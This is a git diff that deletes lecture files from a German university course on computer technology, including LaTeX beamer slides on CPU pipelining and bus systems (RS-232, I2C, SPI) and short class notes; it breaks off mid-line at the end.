100644 index 9f737bc1dc975229e5101bbae3d1644c6588aadf..0000000000000000000000000000000000000000 Binary files a/20210621/1329px-Motherboard_diagram.svg.png and /dev/null differ diff --git a/20210621/I2C_data_transfer.pdf b/20210621/I2C_data_transfer.pdf deleted file mode 120000 index 73e7ce07770a0599ae1a2aa11e97899767a1f9b0..0000000000000000000000000000000000000000 --- a/20210621/I2C_data_transfer.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/I2C_data_transfer.pdf \ No newline at end of file diff --git a/20210621/SPI_single_slave.pdf b/20210621/SPI_single_slave.pdf deleted file mode 120000 index b51d59e51fffb101086bfaa811370f66436127e7..0000000000000000000000000000000000000000 --- a/20210621/SPI_single_slave.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/SPI_single_slave.pdf \ No newline at end of file diff --git a/20210621/SPI_three_slaves.pdf b/20210621/SPI_three_slaves.pdf deleted file mode 120000 index b2e27257652bbefd9e1c9194ac1f518a43c8aa15..0000000000000000000000000000000000000000 --- a/20210621/SPI_three_slaves.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/SPI_three_slaves.pdf \ No newline at end of file diff --git a/20210621/SPI_three_slaves_daisy_chained.pdf b/20210621/SPI_three_slaves_daisy_chained.pdf deleted file mode 120000 index 967389aeed788b2fed87b2a6b25a5ebd8256978f..0000000000000000000000000000000000000000 --- a/20210621/SPI_three_slaves_daisy_chained.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/SPI_three_slaves_daisy_chained.pdf \ No newline at end of file diff --git a/20210621/kompassmodul-an-roboter.jpg b/20210621/kompassmodul-an-roboter.jpg deleted file mode 120000 index dab8b38c1a92bf8072d42dc3abcc07be54a58c7b..0000000000000000000000000000000000000000 --- a/20210621/kompassmodul-an-roboter.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/kompassmodul-an-roboter.jpg \ No newline at end of file diff --git a/20210621/kompassmodul.jpg b/20210621/kompassmodul.jpg deleted file mode 120000 index be108a5341df13a693959dbe69b7b9541b36fc4c..0000000000000000000000000000000000000000 --- a/20210621/kompassmodul.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/kompassmodul.jpg \ No newline at end of file diff --git a/20210621/logo-hochschule-bochum-cvh-text-v2.pdf b/20210621/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210621/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210621/logo-hochschule-bochum.pdf b/20210621/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210621/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210621/motherboard-anschluesse.jpg b/20210621/motherboard-anschluesse.jpg deleted file mode 120000 index 07335d7dff65c71a683588d2ed108485c4653fb7..0000000000000000000000000000000000000000 --- a/20210621/motherboard-anschluesse.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/motherboard-anschluesse.jpg \ No newline at end of file diff --git a/20210621/motherboard-diagram.png b/20210621/motherboard-diagram.png deleted file mode 120000 index 302941b613b1de15268438ea74cd05274707c63d..0000000000000000000000000000000000000000 --- a/20210621/motherboard-diagram.png +++ /dev/null @@ -1 +0,0 @@ -1329px-Motherboard_diagram.svg.png \ No newline at end of file diff --git a/20210621/pgslides.sty b/20210621/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20210621/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20210621/photo-8230.jpg b/20210621/photo-8230.jpg deleted file mode 100644 index 982ebbef70cd1606e932f9a257c26b0db1c7ff94..0000000000000000000000000000000000000000 Binary files a/20210621/photo-8230.jpg and /dev/null differ diff --git a/20210621/photo-8231.jpg b/20210621/photo-8231.jpg deleted file mode 100644 index ffc7137965b4683d3ad5ef57d0eae8eddfb774e3..0000000000000000000000000000000000000000 Binary files a/20210621/photo-8231.jpg and /dev/null differ diff --git a/20210621/photo-8232.jpg b/20210621/photo-8232.jpg deleted file mode 100644 index f850e058affe811fd1fda1f51e5d64bb51ef8897..0000000000000000000000000000000000000000 Binary files a/20210621/photo-8232.jpg and /dev/null differ diff --git a/20210621/rs-232.pdf b/20210621/rs-232.pdf deleted file mode 120000 index 67016059af4a0ca0db871b9dd784bcacc0eecf7a..0000000000000000000000000000000000000000 --- a/20210621/rs-232.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/rs-232.pdf \ No newline at end of file diff --git a/20210621/rtech-20210621.pdf b/20210621/rtech-20210621.pdf deleted file mode 100644 index 45ad3b29953b2d7155367754334dd14c500fa9fc..0000000000000000000000000000000000000000 Binary files a/20210621/rtech-20210621.pdf and /dev/null differ diff --git a/20210621/rtech-20210621.tex b/20210621/rtech-20210621.tex deleted file mode 100644 index b427f77e0440742b14edfc7561211cea1805725c..0000000000000000000000000000000000000000 --- a/20210621/rtech-20210621.tex +++ /dev/null @@ -1,871 +0,0 @@ -% rtech-20210621.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Bus-Systeme - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{tikz} - -\lstdefinestyle{asm}{basicstyle=\color{structure}, - language={}, - gobble=4} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{21.\ Juni 2021} - -\newcommand{\ItwoC}{I\raisebox{0.5ex}{\footnotesize 2}C} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} - \item[\textbf{5}] \textbf{Anwender-Software} - \item[\textbf{6}] \textbf{Pipelining} - \begin{itemize} - \item[6.1] Konzept - \item[6.2] Arithmetik-Pipelines - \color{medgreen} - \item[6.3] Instruktions-Pipelines - \end{itemize} - \item[\textbf{7}] \textbf{Bus-Systeme} - \begin{itemize} - \color{red} - \item[7.1] Was sind Bus-Systeme? - \item[7.2] Chipsatz - \item[7.3] RS-232 - \item[7.4] \ItwoC\ (TWI) - \item[7.5] SPI - \end{itemize} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{8}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{5} -\section{Pipelining} -\setcounter{subsection}{1} -\subsection{Arithmetik-Pipelines} - -\newcommand{\insns}[1]{% - \begin{picture}(0,0) - \put(0,0){\line(1,0){2}} - \put(2,0){\line(0,-1){#1}} - \put(2,-#1){\vector(-1,0){2}} - \end{picture}} - -\newcommand{\insnsup}[1]{% - \begin{picture}(0,0) - \put(0,0){\line(1,0){2}} - \put(2,0){\line(0,1){#1}} - \put(2,#1){\vector(-1,0){2}} - \end{picture}} - -\begin{frame} - - \showsubsection - "`Register-FIFO"' - - \pause - \smallskip - - Pseudo-Code: Berechnung von - \begin{displaymath} - S = \left(\begin{array}{c}a_1\\a_2\\a_3\end{array}\right) - \cdot\left(\begin{array}{c}b_1\\b_2\\b_3\end{array}\right) - = a_1 \cdot b_1 - + a_2 \cdot b_2 - + a_3 \cdot b_3 - \end{displaymath} - mit einer Pipeline der Länge 3 - - \pause - \medskip - - \begingroup - \setlength{\unitlength}{\baselineskip}% - \begin{picture}(0,0)(-5.0,-0.25) - \color{red} - \put(0,0.0){\only<4->{\insns{3}}} - \put(0.5,-1){\only<5->{\insns{2.9}}} - \put(1.0,-2){\only<6->{\insns{3}}} - \put(0.5,-4.1){\only<8->{\insns{2.8}}} - \put(0.5,-7.1){\only<11->{\insns{2.9}}} - \put(-1.5,-9.25){\only<15->{\shortstack{Daten-\\konflikt}}} - \end{picture}% - \color{structure} - push $a_1 \cdot b_1$\\ - \pause - \pause - push $a_2 \cdot b_2$\\ - \pause - push $a_3 \cdot b_3$\\ - \pause - $s_1$ = pop\\ - \pause - push $s_1 + \mbox{pop}$\\ - \pause - $s_3$ = pop\\ - \pause - nop\\ - \pause - push $s_3 + \mbox{pop}$\\ - \pause - nop\\ - \pause - nop\\ - \pause - $S$ = pop\\ - \endgroup - \pause - \pause - \begin{picture}(0,0) - \color{red} - \put(5,3.8){\makebox(0,0)[l]{$\left.\rule{0pt}{1.2cm}\right\}$ effizient: Pipeline gefüllt}} - \put(5,1.4){\makebox(0,0)[l]{$\left.\rule{0pt}{1.2cm}\right\}$ ineffizient: "`Blasen"'}} - \end{picture} - \pause - \vspace*{-1.25cm} - \begin{flushright} - \dots\ aber immer noch effizienter als\\ - 3 Schritte für jede Operation - \end{flushright} - -\end{frame} - -\subsectionnonumber{Reales Beispiel: \break Vektor-Addition auf i860} - -\begin{frame}[fragile] - - \begin{minipage}[t]{5cm} - \raggedright - \showsubsectionnonumber - \begin{lstlisting} - .align 8 - .globl _vadd - nop - _vadd: - shr 1,r19,r19 - bte r19,r0,exitadd - addu 0x000F,r16,r16 - andnot 0x000F,r16,r16 - adds -16,r16,r16 - addu 0x000F,r17,r17 - andnot 0x000F,r17,r17 - adds -16,r17,r17 - addu 0x000F,r18,r18 - andnot 0x000F,r18,r18 - adds -16,r18,r18 - mov -1,r20 - \end{lstlisting} - \end{minipage} - \begin{minipage}[t]{5cm} - \begin{lstlisting} - fld.q 16(r16)++,f16 - fld.q 16(r17)++,f20 - pfadd.dd f16,f20,f0 - bla r20,r19,loopadd - pfadd.dd f18,f22,f0 - loopadd: - d.pfadd.dd f0,f0,f0 - fld.q 16(r16)++,f16 - d.pfadd.dd f0,f0,f24 - fld.q 16(r17)++,f20 - d.pfadd.dd f16,f20,f26 - bla r20,r19,loopadd - d.pfadd.dd f18,f22,f0 - fst.q f24,16(r18)++ - nop - nop - nop - exitadd: - bri r1 - nop - \end{lstlisting} - \end{minipage} - -\end{frame} - -\lstdefinestyle{shybubble}{basicstyle=\color{lightgray}, - moredelim=**[is][\color{structure}]{¡}{¿}, - moredelim=**[is][\only<7->{\color{red}}]{°}{¿}} - -\begin{frame}[fragile] - - \begin{minipage}[t]{5cm} - \raggedright - \showsubsectionnonumber - \begin{lstlisting}[style=shybubble] - .align 8 - .globl _vadd - nop - _vadd: - shr 1,r19,r19 - bte r19,r0,exitadd - addu 0x000F,r16,r16 - andnot 0x000F,r16,r16 - adds -16,r16,r16 - addu 0x000F,r17,r17 - andnot 0x000F,r17,r17 - adds -16,r17,r17 - addu 0x000F,r18,r18 - andnot 0x000F,r18,r18 - adds -16,r18,r18 - mov -1,r20 - \end{lstlisting} - \end{minipage} - \begin{minipage}[t]{5cm} - \begin{lstlisting}[style=shybubble] - ¡fld.q 16(r16)++,f16 - fld.q 16(r17)++,f20 - pfadd.dd f16,f20,f0 - bla r20,r19,loopadd - pfadd.dd f18,f22,f0 - loopadd: - d.pfadd.dd °f0,f0,f0¿ - fld.q 16(r16)++,f16 - d.pfadd.dd °f0,f0¿,f24 - fld.q 16(r17)++,f20 - d.pfadd.dd f16,f20,f26 - bla r20,r19,loopadd - d.pfadd.dd f18,f22,°f0¿ - fst.q f24,16(r18)++¿ - nop - nop - nop - exitadd: - bri r1 - nop - \end{lstlisting} - \end{minipage} - - \pause - \begingroup - \setlength{\unitlength}{\baselineskip}% - \begin{picture}(0,0)(-21.0,-17.6) - \color{red} - \put(0,0){\only<2->{\insns{5.9}}} - \put(1.0,-2){\only<3->{\insns{6.0}}} - \put(-7,-9){\only<4->{\line(-1,0){1}}} - \put(-8,-9){\only<4->{\line(0,-1){2}}} - \put(-8,-11){\only<4->{\line(-1,0){1}}} - \put(-9,-11){\only<4->{\line(0,1){8}}} - \put(-9,-3){\only<4->{\vector(1,0){0.7}}} - \put(0.8,-7.8){\only<5->{\insnsup{1.7}}} - \put(0.8,-10){\only<6->{\insnsup{1.8}}} - \put(-0.5,-12.5){\only<7->{\mbox{6mal f0 = 2 Blasen}}} - \end{picture}% - \endgroup - - \vspace{-2cm} - \begin{flushright} - \only<8->{Immerhin: 2 Additionen in 4 Taktzyklen} - - \medskip - - \only<9->{Dies ist ein \emph{einfaches} Beispiel.} - \end{flushright} - -\end{frame} - -\subsection{Instruktions-Pipelines} - -\begin{frame}[fragile] - - \showsubsection - - Ein Prozessor benötigt Zeit, um einen Befehl zu verstehen. - - \textarrow\ Während Befehlsausführung nächste Befehle vorauslesen - - \medskip - - \begin{lstlisting}[style=shy] - ².L3: - movw r30,r20¿ - ³add r30,r18¿ - °adc r31,r19¿ - ¤mov r24,r18 - subi r24,lo8(-(1)) - st Z,r24 - subi r18,lo8(-(1)) - sbci r19,hi8(-(1)) - cp r22,r18 - cpc r23,r19¿ - ¢brge .L3¿ - æret¿ - \end{lstlisting} - - \begin{picture}(0,0) - \color{red} - \put(0.5,1.00){\only<8->{\line(-1,0){0.4}}} - \put(0.1,1.00){\only<8->{\line(0,1){4.15}}} - \put(0.1,5.15){\only<8->{\vector(1,0){0.4}}} - \put(0.5,0.90){\only<9->{\line(-1,0){0.4}}} - \put(0.1,0.90){\only<9->{\line(0,-1){0.35}}} - \put(0.1,0.55){\only<9->{\vector(1,0){0.4}}} - \put(2.5,0.825){\only<10->{\begin{minipage}[t]{8cm} - bedingter Sprung: - Welche Befehle vorauslesen?\\[\smallskipamount] - \only<11->{Kontrollflußkonflikt} - \end{minipage}}} - \end{picture} - - \begin{flushright} - \vspace*{-0.5cm} - \only<12->{Lösungsansatz: Zweigvorhersage} - \vspace*{-1cm} - \end{flushright} - -\end{frame} - -\subsubsectionnonumber{Zweigvorhersage -- Branch Prediction} - -\begin{frame}[fragile] - - \showsubsection - \showsubsubsectionnonumber - - \begin{itemize} - \setlength{\unitlength}{\baselineskip}% - \pause - \item - Sprünge nach oben sind Schleifen: "`Ja"'\\ - Sprünge nach unten sind Auswahl-Verzweigungen: "`Nein"' - \pause - \item - Delayed Branches: Sprungbefehl verspätet ausführen\\ - \textarrow\ Optimierung manuell oder durch Compiler - \pause - \medskip - \begin{lstlisting} - loopadd: - d.pfadd.dd f0,f0,f0 - fld.q 16(r16)++,f16 - d.pfadd.dd f0,f0,f24 - fld.q 16(r17)++,f20 - d.pfadd.dd f16,f20,f26 - bla r20,r19,loopadd - d.pfadd.dd f18,f22,f0 - fst.q f24,16(r18)++ - \end{lstlisting} - \begin{picture}(0,0)(-9.6,-12.2) - \color{red} - \put(-7,-9){\line(-1,0){1}} - \put(-8,-9){\line(0,-1){2}} - \put(-8,-11){\line(-1,0){1}} - \put(-9,-11){\line(0,1){8}} - \put(-9,-3){\vector(1,0){0.7}} - \end{picture} - \pause - \item - Branch History Table: Sprünge merken - \pause - \item - \dots - \end{itemize} - -\end{frame} - -\subsectionnonumber{Zusammenfassung} - -\begin{frame} - - \showsection - \showsubsectionnonumber - - \begin{itemize} - \item - Teilaufgaben parallel ausführen - \item - Arithmetik-Pipelines führen Berechnungen parallel aus,\\ - Instruktions-Pipelines lesen Befehle voraus - \item - Ressourcen-, Daten- und Kontrollflußkonflikte führen zu "`Blasen"' - \item - Zweigvorhersage reduziert Kontrollflußkonflikte in Instruktions-Pipelines - \begin{itemize} - \item - nach oben / nach unten - \item - Delayed Branches: manuell optimieren - \item - Branch History Table: Sprünge merken - \end{itemize} - \end{itemize} - -\end{frame} - -\section{Bus-Systeme} -\subsection{Was sind Bus-Systeme?} - -\begin{frame} - \showsection - \showsubsection - - \begin{quote} - Ein Bus ist ein System zur Datenübertragung zwischen mehreren - Teilnehmern über einen gemeinsamen Übertragungsweg. - - \smallskip - \color{gray} - - Findet eine Datenübertragung zwischen zwei Teilnehmern statt, so - müssen die übrigen Teilnehmer schweigen, da sie sich sonst - gegenseitig stören würden. Umgangssprachlich werden mitunter -- - oft aus historischen Gründen – auch Datenübertragungssysteme als - "`Bus"' bezeichnet, die technisch eigentlich eine andere - Topologie besitzen. - - \medskip - - \strut\hfill\url{https://de.wikipedia.org/wiki/Bus_(Datenverarbeitung)} - \end{quote} - Beispiele: - \begin{itemize} - \item - Computer kommuniziert mit Peripherie - \item - Computer kommunizieren (direkt) miteinander - \item - Prozessor kommuniziert mit externem Speicher - \item - Teile eines Prozessors kommunizieren miteinander - \end{itemize} -\end{frame} - -\begin{frame} - \showsection - \showsubsection - Standard-Computer: - \begin{itemize} - \item - Einsteckkarten: PCI (und Vorgänger) - \item - Festplatten: SATA (und Vorgänger) - \item - USB, FireWire, \dots - \item - Ethernet, CAN-Bus, \dots - \item - WLAN, BlueTooth, IR, \dots - \item - PS/2, RS-232, IEEE\,1284 - \end{itemize} - - \medskip - - \begin{visibleenv}<2-> - Minimal-Hardware: - \begin{itemize} - \item - RS-232 - \item - \ItwoC\ (TWI) - \item - SPI - \end{itemize} - \end{visibleenv} - - \begin{onlyenv}<1> - \begin{picture}(0,0) - \put(5,1.5){\includegraphics[height=3cm]{motherboard-anschluesse.jpg}} - \end{picture} - \end{onlyenv} - \begin{onlyenv}<2> - \begin{picture}(0,0)(-1.3,-4) - \put(1.8,-4.9){\includegraphics[height=3.5cm]{kompassmodul-an-roboter.jpg}} - \put(6.1,-3.3){\includegraphics[height=4.5cm]{kompassmodul.jpg}} - \put(6.1,1.2){\makebox(0,0)[tr]{\tikz{\draw(0,0)--(-1.9,-3.6);}}} - \put(6.1,-3.3){\makebox(0,0)[br]{\tikz{\draw(0,0)--(-1.8,0.2);}}} - \end{picture} - \end{onlyenv} -\end{frame} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \vspace*{-\bigskipamount} - \begin{tabbing} - \newterm{Punkt-zu-Punkt}\quad\=\kill - \newterm{seriell} \> jedes Bit einzeln übertragen\\ - \newterm{parallel} \> mehrere Bits gleichzeitig\\[\smallskipamount] - \newterm{synchron} \> Abgleich über Steuerleitung: \newterm{Takt}\\ - \newterm{asynchron} \> Abgleich über Zeitvereinbarungen\\[\smallskipamount] - \newterm{Punkt-zu-Punkt} \> genau zwei Teilnehmer\\ - \textbf{\newterm{busfähig}} \> \textbf{mehrere Teilnehmer, mit \newterm{Adressierung}} - \begin{picture}(0,0) - \put(0.1,0.1){\makebox(0,0)[bl]{\tikz{\draw[latex-](0,0)--(0.7,0)--(0.7,0.5);}}} - \put(1.0,0.7){\makebox(0,0)[b]{moderne Definition}} - \end{picture} - \end{tabbing} - - \begin{itemize} - \item - \ItwoC: seriell, synchron, mit Adressierung - \item - RS-232: seriell, asynchron, Punkt-zu-Punkt - \item - RS-485, USB, CAN: seriell, asynchron, mit Adressierung - \item - SPI: seriell, synchron, Punkt-zu-Punkt oder mit Adressierung - \item - PCI Express: seriell, asynchron, Punkt-zu-Punkt - \item - SATA: seriell, asynchron(?), Punkt-zu-Punkt - \item - PATA/ATAPI/IDE: parallel, asynchron(?), mit Adressierung - \end{itemize} - -\end{frame} - -\subsection{Chipsatz} - -\begin{frame} - \showsection - \showsubsection - - \begin{picture}(0,0) - \put(6.3,2.3){\makebox(0,0)[tl]{\includegraphics[width=6cm]{motherboard-diagram.png}}} - \end{picture}% - Kommunikation des Prozessors mit - \begin{itemize} - \item - Arbeitsspeicher - \item - \only<2->{Hochgeschwindigkeits-}Peripherie\only<3->{:\\ - \newterm{Northbridge}} - \pause - \item - "`normale"' Peripherie\only<3->{:\\ - \newterm{Southbridge}} - \pause - \item - Northbridge + Southbridge\\ - = \newterm{Chipsatz} - \pause - \medskip - \item - Problem: unterschiedliche\\ - Bus-Geschwindigkeiten - \pause - \medskip - \item - Northbridge: heute meistens\\ - in Prozessor integriert.\\[\smallskipamount] - Damit besteht der Chipsatz\\ - nur noch aus der Southbridge. - \vspace*{-10cm} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - \showsection - \showsubsection - - \begin{picture}(0,0) - \put(6.3,2.3){\makebox(0,0)[tl]{\includegraphics[width=6cm]{motherboard-diagram.png}}} - \end{picture}% - \begin{itemize} - \item - Problem: Arbeitsspeicher\\ - nur über Bus erreichbar\\ - \textarrow\ langsam - \pause - \item - Lösung: Cache\\ - = Arbeitsspeicher\\ - innerhalb des Prozessors - \pause - \item - mehrstufiger Cache\\ - Beispiel: AMD Zen 2 (2019)\\ - L1: 32\,kB Daten\\ - \hspace{0.81em}+ 32\,kB Instruktionen pro Kern\\ - L2: 512\,kB pro Kern\\ - L3: 16--256\,MB pro 4 Kerne\\[\smallskipamount] - {\footnotesize Quelle: \href{https://en.wikipedia.org/wiki/Cache_hierarchy#Recent_implementation_models}% - {\nolinkurl{https://en.wikipedia.org/wiki/Cache_hierarchy\#}\\ - \nolinkurl{Recent_implementation_models}}\par} - \end{itemize} - -\end{frame} - -\subsection{RS-232} - -\begin{frame} - \showsection - \showsubsection - - seriell - \begin{itemize} - \item - \newterm{TX\/}: 1 Leitung für Daten - \item - \newterm{RX\/}: ggf.\ 1 Leitung für Daten in der anderen Richtung - \item - \newterm{GND\/}: gemeinsame \newterm{Masse} - \item - evtl.\ zusätzliche Steuerleitungen - \end{itemize} - - \medskip - - asynchron - \begin{itemize} - \item - \emph{keine\/} Taktleitung für Abgleich, wann Daten anliegen - \item - Stattdessen: Abgleich über Zeitvereinbarungen - \arrowitem - Jeder Teilnehmer braucht eine eigene Zeitbasis. - \end{itemize} - - \medskip - - Punkt-zu-Punkt - \begin{itemize} - \item - nur 2 Teilnehmer vorgesehen - \end{itemize} -\end{frame} - -\begin{frame} - \showsubsection - \vspace*{-0.35cm} - \begin{center} - \includegraphics[scale=0.9]{rs-232.pdf} - \end{center} -\end{frame} - -\subsection{\protect\ItwoC\ (TWI)} - -\begin{frame} - \showsection - \showsubsection - - \ItwoC\ = Inter-IC; TWI = Two-Wire-Interface - - \medskip - - seriell - \begin{itemize} - \item - \newterm{SDA\/}: 1 Leitung für Daten (in beiden Richtungen) - \item - \newterm{SCL\/}: Taktleitung (Clock) - \item - \newterm{GND\/}: gemeinsame Masse - \item - evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät - \end{itemize} - - \medskip - - synchron - \begin{itemize} - \item - Abgleich über\\Taktleitung - \begin{picture}(0,0) - \put(0.4,-0.4){\includegraphics[width=9.7cm]{I2C_data_transfer.pdf}} - \end{picture} - \end{itemize} - - \medskip - - busfähig - \begin{itemize} - \item - \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung - \item - erstes gesendetes Byte: \newterm{Adresse\/} des Teilnehmers - \item - 2 Adressen pro Teilnehmer: Lesen/Schreiben - \end{itemize} - \vspace*{-1cm} -\end{frame} - -\subsection{SPI} - -\begin{frame} - \showsection - \showsubsection - - Serial Peripheral Interface - - \medskip - - seriell - \begin{itemize} - \item - \newterm{MOSI\/}: Master Out, Slave In - \item - \newterm{MISO\/}: Master In, Slave Out - \item - \newterm{SCLK\/}: Taktleitung (Clock) - \item - \newterm{$\overline{\text{SS}}$\/}: Slave Select (invertiert) - \item - \newterm{GND\/}: gemeinsame Masse - \item - evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät - \end{itemize} - - \medskip - - synchron - \begin{itemize} - \item - Abgleich über Taktleitung - \end{itemize} - - \medskip - - busfähig - \begin{itemize} - \item - \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung - \item - \newterm{Slave\/} wird über \newterm{Slave Select\/} ausgewählt - \begin{picture}(0,0)(0,-0.2) - \only<1>{\put(-2.175,2.875){\includegraphics[scale=0.7]{SPI_single_slave.pdf}}} - \only<2>{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves.pdf}}} - \only<2>{\put(2.55,3.1){\begin{minipage}[t]{2.5cm} - \newterm{Stern} - \end{minipage}}} - \only<3->{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves_daisy_chained.pdf}}} - \only<3->{\put(2.55,3.1){\begin{minipage}[t]{2.5cm} - \newterm{Kaskade}\\ - \newterm{Daisy Chain}\pause[4]\par\smallskip - \setlength{\leftskip}{-3.5cm}\small - Slave gibt MOSI-Input um 1 Takt verzögert - an MISO aus \textarrow\ Master setzt - "`im richtigen Moment"' $\overline{\text{SS}}$ - \end{minipage}}} - \end{picture} - \end{itemize} - \vspace*{-1cm} - -\end{frame} - -\iffalse - -\subsection{PWM} - -\begin{frame} - \showsection - \showsubsection - - Pulsweitenmodulation -- \emph{pulse-width modulation} - - \begin{itemize} - \item - Steuerung von Motoren - \item - Nutzung als allgemeines Protokoll\\ - zur Übertragung analoger Werte - \end{itemize} -\end{frame} - -\subsection{Sonstiges} - -\begin{frame} - \showsection - \showsubsection - - Matrix-Schaltung - \begin{itemize} - \item - möglichst viele Aktoren/Sensoren\\ - über möglichst wenige digitals Inputs abfragen\\ - bzw.\ über möglichst wenige digitale Outputs steuern - \item - Beispiele: LED-Felder, Tastaturen - \end{itemize} - - \bigskip - - R/2R-Netzwerk - \begin{itemize} - \item - möglichst viele digitale Inputs\\ - über einen einzigen analogen Input abfragen - \item - Beispiele: Tastaturen - \end{itemize} - -\end{frame} - -\fi - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} - \item[\textbf{5}] \textbf{Anwender-Software} - \item[\textbf{6}] \textbf{Pipelining} - \begin{itemize} - \item[6.1] Konzept - \item[6.2] Arithmetik-Pipelines - \item[6.3] Instruktions-Pipelines - \end{itemize} - \item[\textbf{7}] \textbf{Bus-Systeme} - \begin{itemize} - \color{medgreen} - \item[7.1] Was sind Bus-Systeme? - \item[7.2] Chipsatz - \item[7.3] RS-232 - \item[7.4] \ItwoC\ (TWI) - \item[7.5] SPI - \end{itemize} -% \item[\textbf{???\hspace{-0.75em}}] -% \item[\textbf{8}] \textbf{Ausblick} - \item[\textbf{i}] \textbf{Quantencomputer} - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20210621/rtech-20210621.txt b/20210621/rtech-20210621.txt deleted file mode 100644 index a1ec54d9adbf4b6bcc9b175d3f38ad467188b45d..0000000000000000000000000000000000000000 --- a/20210621/rtech-20210621.txt +++ /dev/null @@ -1,22 +0,0 @@ -RS-232 auf dem Oszilloskop, 21.06.2021, 17:54:06 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Folie: ~~~~_~~~___~_~~~ rtech-20210621.pdf, Seite 62 - -Oszi: ~_~~~___~__~_~~~_ photo-8231.jpg - - ^ ab hier unterschiedlich: Paritätsbit - -Folie: Hier wird ein großes "G" mit ungerader Parität übertragen. -Oszi: Hier wird ein großes "G" mit gerader Parität übertragen. - -Zum Vergleich: photo-8232.jpg: "G" mit ungerader Pärität auf dem Oszi - - -Weitere Themen, 21.06.2021, 18:28:53 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - ! Quantencomputer - - ? LaTeX - ? Compiler-Bau - ? ... diff --git a/20210628/rtech-20210628.txt b/20210628/rtech-20210628.txt deleted file mode 100644 index c356b3f53b1de6841b73a201fc4c94405efb522d..0000000000000000000000000000000000000000 --- a/20210628/rtech-20210628.txt +++ /dev/null @@ -1,7 +0,0 @@ -Projektberichte, 28.06.2021, 16:18:13 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - - Wissenschaftliche Dokumentation (vgl. Praktikumsbericht) - - Schreiben Sie das, was Sie sich wünschen würden zu finden, - wenn Sie im Netz nach einer Anleitung für Ihr Projekt suchen. - - Umfang: nicht zu viel - typischerweise: 5 bis 10 Seiten, maximal vielleicht 20 diff --git a/20210705/anfuehrungszeichen-1.pdf b/20210705/anfuehrungszeichen-1.pdf deleted file mode 100644 index 48d9a998979b695cdc5e23d175aaaa9addf69e62..0000000000000000000000000000000000000000 Binary files a/20210705/anfuehrungszeichen-1.pdf and /dev/null differ diff --git a/20210705/anfuehrungszeichen-1.tex b/20210705/anfuehrungszeichen-1.tex deleted file mode 100644 index ae48081e3ab62f89ebf502435349125539d36e01..0000000000000000000000000000000000000000 --- a/20210705/anfuehrungszeichen-1.tex +++ /dev/null @@ -1,19 +0,0 @@ -\documentclass{article} - -\usepackage[german]{babel} % für "reformierte" deutsche Rechtschreibung: ngerman - -\begin{document} - - "falsche Anführungszeichen" - - ``englische Anführungszeichen'' - - "`deutsche Anführungszeichen"' - - "<französische Anführungszeichen"> - - “englische Anführungszeichen (Unicode)” - - „deutsche Anführungszeichen (Unicode)“ -- funktioniert nicht perfekt - -\end{document} diff --git a/20210705/rtech-20210705-1.pdf b/20210705/rtech-20210705-1.pdf deleted file mode 100644 index 